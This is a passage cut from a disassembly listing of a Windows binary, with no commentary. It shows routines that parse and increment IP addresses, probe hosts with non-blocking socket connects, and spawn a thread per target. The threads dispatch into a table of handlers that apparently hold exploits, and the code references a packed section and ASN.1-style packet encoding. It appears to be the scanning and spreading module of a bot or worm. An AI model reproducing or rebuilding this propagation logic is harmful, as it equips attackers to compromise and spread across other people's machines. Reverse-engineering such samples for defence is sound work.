jmp short loc_40BDF3
; ---------------------------------------------------------------------------
loc_40BDD6: ; CODE XREF: sub_40B945+49Fj
push 32h
call dword_428064 ; Sleep
loc_40BDDE: ; CODE XREF: sub_40B945+373j
cmp dword_4CFE58, ebx
jz short loc_40BDD6
jmp loc_40BCD9
; ---------------------------------------------------------------------------
loc_40BDEB: ; CODE XREF: sub_40B945+4B4j
push 32h
call dword_428064 ; Sleep
loc_40BDF3: ; CODE XREF: sub_40B945+48Fj
cmp dword_4D075C, ebx
jz short loc_40BDEB
jmp short loc_40BE18
; ---------------------------------------------------------------------------
loc_40BDFD: ; CODE XREF: sub_40B945+48Dj
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4330E8
push eax
call sub_41C056
add esp, 0Ch
loc_40BE18: ; CODE XREF: sub_40B945+4B6j
lea eax, [ebp+var_204]
push eax
call sub_4157A5
pop ecx
loc_40BE25: ; CODE XREF: sub_40B945+14j
; sub_40B945+25j ...
pop esi
pop ebx
leave
retn
sub_40B945 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE29 proc near ; CODE XREF: sub_40BFAA:loc_40C00Cp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CDDA8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call near ptr sub_41CAE0
add esp, 0Ch
push [ebp+arg_0]
call dword_4CDB8C ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CDC60 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call near ptr sub_41CAE0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BE29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE71 proc near ; CODE XREF: sub_40BFAA+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B7B0
cmp eax, 0Fh
pop ecx
jbe short loc_40BE99
xor eax, eax
jmp short loc_40BF0A
; ---------------------------------------------------------------------------
loc_40BE99: ; CODE XREF: sub_40BE71+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CE15
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40BEC6
call sub_41C0B2
mov [ebp+var_C], eax
loc_40BEC6: ; CODE XREF: sub_40BE71+4Bj
cmp [ebp+var_8], esi
jnz short loc_40BED3
call sub_41C0B2
mov [ebp+var_8], eax
loc_40BED3: ; CODE XREF: sub_40BE71+58j
cmp [ebp+var_4], esi
jnz short loc_40BEE0
call sub_41C0B2
mov [ebp+var_4], eax
loc_40BEE0: ; CODE XREF: sub_40BE71+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40BEEC
call sub_41C0B2
loc_40BEEC: ; CODE XREF: sub_40BE71+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CDDA8[ecx*8], eax
loc_40BF0A: ; CODE XREF: sub_40BE71+26j
pop esi
leave
retn
sub_40BE71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF0D proc near ; CODE XREF: sub_40B71C+5Cp
; sub_40BFAA+A9p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CDCE4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40BF36
xor eax, eax
jmp short loc_40BFA5
; ---------------------------------------------------------------------------
loc_40BF36: ; CODE XREF: sub_40BF0D+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CDC64 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CDD00 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CDC0C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CDC4C ; select
push esi
mov edi, eax
call dword_4CDCFC ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40BFA5: ; CODE XREF: sub_40BF0D+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40BF0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFAA proc near ; DATA XREF: sub_40C1BE+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40C19B
; ---------------------------------------------------------------------------
loc_40BFF6: ; CODE XREF: sub_40BFAA+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40C00C
lea eax, [ebp+var_150]
push eax
call sub_40BE71
pop ecx
jmp short loc_40C011
; ---------------------------------------------------------------------------
loc_40C00C: ; CODE XREF: sub_40BFAA+51j
call sub_40BE29
loc_40C011: ; CODE XREF: sub_40BFAA+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_440B9C[ebx]
push [ebp+var_3C]
push edi
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_433248
push eax
call sub_41C056
lea eax, [ebp+var_28C]
push eax
lea eax, dword_440998[ebx]
push eax
call sub_41C056
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40BF0D
add esp, 2Ch
cmp eax, 1
jnz loc_40C190
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C0E5
push offset dword_4CFDA8
call dword_4280D4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_433220
push eax
call sub_41C056
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C0C7
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C0BB
lea eax, [ebp+var_140]
loc_40C0BB: ; CODE XREF: sub_40BFAA+109j
push eax
push [ebp+var_40]
call sub_409982
add esp, 14h
loc_40C0C7: ; CODE XREF: sub_40BFAA+EEj
lea eax, [ebp+var_28C]
push eax
call sub_4157A5
mov [esp+2A8h+var_2A8], offset dword_4CFDA8
call dword_4280D0 ; RtlLeaveCriticalSection
jmp loc_40C190
; ---------------------------------------------------------------------------
loc_40C0E5: ; CODE XREF: sub_40BFAA+BEj
push edi
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C056
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C056
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40C129
lea eax, [ebp+var_140]
loc_40C129: ; CODE XREF: sub_40BFAA+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C056
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_432A94[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C190: ; CODE XREF: sub_40BFAA+B4j
; sub_40BFAA+136j
push 7D0h
call dword_428064 ; Sleep
loc_40C19B: ; CODE XREF: sub_40BFAA+47j
mov eax, dword_440B9C[ebx]
cmp dword_4CDDAC[eax*8], 0
jnz loc_40BFF6
push esi
call sub_40B2A3
pop ecx
push 0
call dword_4280CC ; ExitThread
sub_40BFAA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1BE proc near ; DATA XREF: sub_401B66+1EA7o
; sub_401B66+5B74o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CDCA4 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CDDA8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40B945
push 0Bh
call sub_40B1CF
add esp, 150h
cmp eax, ebx
jnz short loc_40C28C
mov esi, offset dword_4CFDA8
push esi
call dword_4280DC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4280D8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C28C
lea eax, [ebp+var_1CC]
push offset unk_43332C
push eax
call sub_41C056
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C276
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409982
add esp, 14h
loc_40C276: ; CODE XREF: sub_40C1BE+99j
lea eax, [ebp+var_1CC]
push eax
call sub_4157A5
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C28C: ; CODE XREF: sub_40C1BE+63j
; sub_40C1BE+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_428064
mov edi, ebx
mov dword_4CDDAC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C34E
loc_40C2AA: ; CODE XREF: sub_40C1BE+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_4332F8
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40AF8D
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_440B9C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40BFAA
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_40C365
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_4332C0
push eax
call sub_41C056
lea eax, [ebp+var_1CC]
push eax
call sub_4157A5
add esp, 10h
loc_40C340: ; CODE XREF: sub_40C1BE+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C2AA
loc_40C34E: ; CODE XREF: sub_40C1BE+E6j
cmp [ebp+var_30], ebx
jz short loc_40C373
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40C380
; ---------------------------------------------------------------------------
loc_40C361: ; CODE XREF: sub_40C1BE+1AAj
push 1Eh
call esi ; Sleep
loc_40C365: ; CODE XREF: sub_40C1BE+159j
cmp [ebp+var_4], ebx
jz short loc_40C361
jmp short loc_40C340
; ---------------------------------------------------------------------------
loc_40C36C: ; CODE XREF: sub_40C1BE+1C0j
push 7D0h
call esi ; Sleep
loc_40C373: ; CODE XREF: sub_40C1BE+193j
mov eax, [ebp+var_2C]
cmp dword_4CDDAC[eax*8], 1
jz short loc_40C36C
loc_40C380: ; CODE XREF: sub_40C1BE+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CDDA8[eax*8]
push eax
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_433280
push eax
call sub_41C056
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C3CE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409982
add esp, 14h
loc_40C3CE: ; CODE XREF: sub_40C1BE+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_4157A5
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_4CDDAC[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B1CF
cmp eax, 1
pop ecx
jnz short loc_40C405
push offset dword_4CFDA8
call dword_4280DC ; RtlDeleteCriticalSection
loc_40C405: ; CODE XREF: sub_40C1BE+23Aj
push [ebp+var_2C]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_40C1BE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C415 proc near ; DATA XREF: sub_40C4E2+7Bo
; sub_40C5D3+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A8h], esi
lea eax, [ebp+var_10]
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CDC64 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CDCE4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C4D3
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CDC0C ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_440BA4[ecx], esi
jz short loc_40C4D3
push [ebp+var_38]
push [ebp+var_28]
call dword_4CDCF0 ; inet_ntoa
push eax
mov edi, offset dword_4D0768
push offset unk_433360
push edi
call sub_41C056
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409982
push edi
call sub_4157A5
add esp, 28h
loc_40C4D3: ; CODE XREF: sub_40C415+5Dj
; sub_40C415+7Ej
push esi
call dword_4CDCFC ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C415 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C4E2 proc near ; DATA XREF: sub_401B66+5F62o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_428064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C510: ; CODE XREF: sub_40C4E2+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_433388
push eax
call sub_41C056
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_440998
push eax
call sub_41BDC0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C415
push edi
push edi
call dword_42807C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C57C
jmp short loc_40C577
; ---------------------------------------------------------------------------
loc_40C573: ; CODE XREF: sub_40C4E2+98j
push 32h
call esi ; Sleep
loc_40C577: ; CODE XREF: sub_40C4E2+8Fj
cmp [ebp+var_C], edi
jz short loc_40C573
loc_40C57C: ; CODE XREF: sub_40C4E2+8Dj
push [ebp+var_4]
call dword_42806C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call near ptr sub_41CAE0
add esp, 0Ch
push [ebp+arg_0]
call dword_4CDB8C ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CDC60 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call near ptr sub_41CAE0
add esp, 0Ch
jmp loc_40C510
sub_40C4E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C5D3 proc near ; DATA XREF: sub_401B66+5C79o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_428064
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C601: ; CODE XREF: sub_40C5D3+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_4333DC
push eax
call sub_41C056
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_440998
push eax
call sub_41BDC0
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C415
push edi
push edi
call dword_42807C ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C66D
jmp short loc_40C668
; ---------------------------------------------------------------------------
loc_40C664: ; CODE XREF: sub_40C5D3+98j
push 32h
call esi ; Sleep
loc_40C668: ; CODE XREF: sub_40C5D3+8Fj
cmp [ebp+var_8], edi
jz short loc_40C664
loc_40C66D: ; CODE XREF: sub_40C5D3+8Dj
push [ebp+arg_0]
call dword_42806C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C694
inc [ebp+var_2C]
jmp loc_40C601
; ---------------------------------------------------------------------------
loc_40C694: ; CODE XREF: sub_40C5D3+B7j
push [ebp+var_1C]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_4333B0
push eax
call sub_41C056
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409982
push [ebp+var_20]
call sub_40B2A3
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C5D3 endp
; =============== S U B R O U T I N E =======================================
sub_40C6E0 proc near ; CODE XREF: sub_40C94C+Ep
; sub_40C94C+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40C6E0 endp
; =============== S U B R O U T I N E =======================================
sub_40C6EA proc near ; CODE XREF: sub_40C94C+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_41BCA5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C71C
push ebx
push 0
push edi
call sub_41BD60
push ebx
push [esp+1Ch+arg_0]
push edi
call near ptr sub_41CAE0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40C71C: ; CODE XREF: sub_40C6EA+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40C6EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C724 proc near ; CODE XREF: sub_40C816+18p
; sub_40C890+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_41BCA5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40C770
push edi
push 0
push esi
call sub_41BD60
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call near ptr sub_41CAE0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call near ptr sub_41CAE0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40C770: ; CODE XREF: sub_40C724+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40C724 endp
; =============== S U B R O U T I N E =======================================
sub_40C779 proc near ; CODE XREF: sub_40C816+5Ep
; sub_40C816+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40C789
push eax
call sub_41B881
pop ecx
loc_40C789: ; CODE XREF: sub_40C779+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40C779 endp
; =============== S U B R O U T I N E =======================================
sub_40C792 proc near ; CODE XREF: sub_40C816+20p
; sub_40C8F1+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40C7BC
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_41BCA5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C7C0
loc_40C7BC: ; CODE XREF: sub_40C792+Dj
xor al, al
jmp short loc_40C812
; ---------------------------------------------------------------------------
loc_40C7C0: ; CODE XREF: sub_40C792+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_41BD60
add esp, 0Ch
cmp ebx, 1
jnz short loc_40C7E0
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40C7F5
; ---------------------------------------------------------------------------
loc_40C7E0: ; CODE XREF: sub_40C792+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40C7F5: ; CODE XREF: sub_40C792+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call near ptr sub_41CAE0
add esp, 0Ch
push dword ptr [esi]
call sub_41B881
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40C812: ; CODE XREF: sub_40C792+2Cj
pop edi
pop esi
pop ebx
retn
sub_40C792 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C816 proc near ; CODE XREF: sub_40C94C+89p
; sub_40C94C+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CDB1C
call sub_40C724
lea ecx, [ebp+var_8]
call sub_40C792
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BCA5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40C850
xor al, al
jmp short loc_40C88C
; ---------------------------------------------------------------------------
loc_40C850: ; CODE XREF: sub_40C816+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BD60
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call near ptr sub_41CAE0
add esp, 18h
mov ecx, esi
call sub_40C779
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40C779
mov al, 1
loc_40C88C: ; CODE XREF: sub_40C816+38j
pop edi
pop esi
leave
retn
sub_40C816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C890 proc near ; CODE XREF: sub_40C8C4+14p
; sub_40C8E1+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40C724
mov ecx, esi
call sub_40C779
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40C890 endp
; =============== S U B R O U T I N E =======================================
sub_40C8C4 proc near ; CODE XREF: sub_40C94C+F0p
; sub_40C94C+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B7B0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40C890
pop esi
retn 4
sub_40C8C4 endp
; =============== S U B R O U T I N E =======================================
sub_40C8E1 proc near ; CODE XREF: sub_40C92D+Bp
; sub_40C94C+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40C890
retn 8
sub_40C8E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8F1 proc near ; CODE XREF: sub_40C92D+16p
; sub_40C94C+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40C792
test al, al
jz short loc_40C92A
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42DF84
call sub_40C724
mov ecx, esi
call sub_40C779
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40C92A: ; CODE XREF: sub_40C8F1+Fj
pop esi
leave
retn
sub_40C8F1 endp
; =============== S U B R O U T I N E =======================================
sub_40C92D proc near ; CODE XREF: sub_40C94C+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40C8E1
test al, al
jz short loc_40C948
mov ecx, esi
call sub_40C8F1
loc_40C948: ; CODE XREF: sub_40C92D+12j
pop esi
retn 8
sub_40C92D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C94C proc near ; CODE XREF: .packed:0040D1C5p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
